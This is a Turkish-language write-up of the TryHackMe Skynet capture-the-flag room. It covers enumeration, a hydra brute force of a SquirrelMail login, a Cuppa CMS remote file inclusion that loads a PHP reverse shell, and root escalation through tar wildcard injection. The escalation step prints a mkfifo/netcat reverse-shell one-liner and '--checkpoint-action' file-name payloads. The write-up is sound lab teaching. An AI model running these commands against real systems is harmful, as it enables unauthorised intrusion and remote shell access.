CTF: TryHackMe Skynet Writeup [VIP]

Merhaba, bu yazıda Tryhackme’de bulunan Skynet makinesinin çözümünü inceleyeceğiz. Bu çözümde bizden sql injection, hash’lerin çözümlenmesi, ssh bağlantısı kurularak gizli dizinin bulunması ve metasploit ile yetki yükseltme gibi faliyetler bekleniyor. Bu çözümde kullandığım ip adresi 10.10.59.210 olarak belirlendi.

THM oda linki: https://tryhackme.com/room/skynet

nmap -A -T4 10.10.222.110 ile nmap taraması yapıldığında ssh, http ve samba portunun açık olduğu görülmektedir.

Sayfaya gidildiğinde skynet isimli arama motoruna benzeyen bir sayfa çıkıyor. Sayfanın kaynak kodu görünlendiğinde önemli bir şey bulunamadı. Input alanı da bir zafiyet içermemektedir.

gobuster dir -u <ip> -w <wordlist> ile sayfanın sahip olduğu diğer dizinler aratıldığında görseldeki dizinler bulunmuştur.

/squirrelmail adlı uzantıya gidildiğinde SquirrelMail adlı giriş paneli bulunmaktadır.

Bir sonraki aşamada smb portuna gidilerek SquirrelMail için kullanıcı adı ve parola araştırılacaktır.

smbmap -H <ip> ile tarama yapıldığında anonymous adlı kullanıcının okuma izni olduğu görülüyor. Aynı zamanda milesdyson isimli başka bir kullanıcı da bulunmuştur.

smbclient //<ip>/anonymous olarak bağlantı sağlanır ve okunabilir tüm dosyalar yerel makineye aktarılır.

log1.txt adlı dosyaya bakıldığı zaman bir wordlist’e benzeyen bir metin belgesi bulunuyor.

SquirrelMail paneline hatalı giriş denemesi yapılır. Inspect Element, network sekmesinde request isteği ve post metodu görülüyor. Edit and Resend denilerek daha detaylı olarak görüntülenir. Hackpark çözümümüzde benzer bir saldırıyı daha önce gerçekleştirmiştik. İsterseniz bu aşamayı Burp Suite aracıyla da gerçekleştirebilirsiniz.

hydra -l milesdyson -P rockyou.txt $ip http-post-form “login page path: request body: error message” parametresiyle brute force gerçekleştirilir. Wordlist küçük olduğu için isterseniz bu aşamayı Burp Suite aracılığıyla da gerçekleştirilir. Burada dikkat edilmesi gereken request body kısmının username=^USER’&secretkey=^PASS’ şeklinde düzenlenmesidir. Parola “cyborg007haloterminator” olarak bulundu.

Mail sistemine girildiğinde 3 tane mail bulunmakta.

İlk maile bakıldığında bir parola bulundu.

smbclient -U milesdyson //<ip>/milesdyson ile bu parolayı kullanarak giriş yapıldığında başarı ile bağlantı sağlandı.

ls ile notes dizinindeki dosyalar görüntülendiğinde important.txt adlı dosya biraz farklı duruyor.

important.txt adlı dosya görüntülendiğinde /45kra24zxs28v3yd isimli dizin bulundu.

gobuster dir -u <ip>/45kra24zxs28v3yd -w <wordlist> ile bu sayfaya ait dizinler aratıldığında /administrator adlı dizin bulundu.

<ip>/45kra24zxs28v3yd/adminstrator sayfasına gidildiğinde cuppa cms giriş paneli bulundu.

Cuppa CMS exploit database’de aratıldığında Cuppa CMS ile ilgili Remote File Inclusion bulunuyor.

PentestMonkey’in php reverse shell’inde   local ip ve dinleme yapılacak port kısımları düzenlenir.

python -m SimpleHTTPServer 80 ile yerel makinede http serveri başlatılır.

nc -nvlp 1234 portunda dinleme başlatılır.

Saldırı paramatresi http://<target ip>/cuppa/alerts/alertConfigField.php?urlConfig=http://<local ip>:80/php-reverse-shell.php şeklindedir.

Netcat bağlantısı sağlandıktan sonra user flag’ı bulunmuş oldu.

 

python -c ‘import pty; pty.spawn(“/bin/bash”)’ ile daha stabil bir bağlantı sağlanır.

cat backup.sh ile backup.sh dosyasına bakıldığında backup.sh’in tar wildcard injection’a sahip olduğu görülüyor. Bu zafiyet ile yetki yükseltilebilir. Wildcard injection ile daha fazla bilgi almak için bu makaleye bakabilirsiniz.

443 portunda netcat dinlemesi başlatıldıktan sonra:

echo “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc <local ip> 443 > /tmp/f” >> shell.sh

touch “/var/www/html/–checkpoint-action=exec=sh shell.sh”

touch “/var/www/html/–checkpoint=1”

saldırı parametresi kullanıldıktan kısa süre bir süre sonra netcat bağlantısı başarı ile sağlanıyor.

Sonrasında root flag’ı görüntülenir.

About The Author

Reply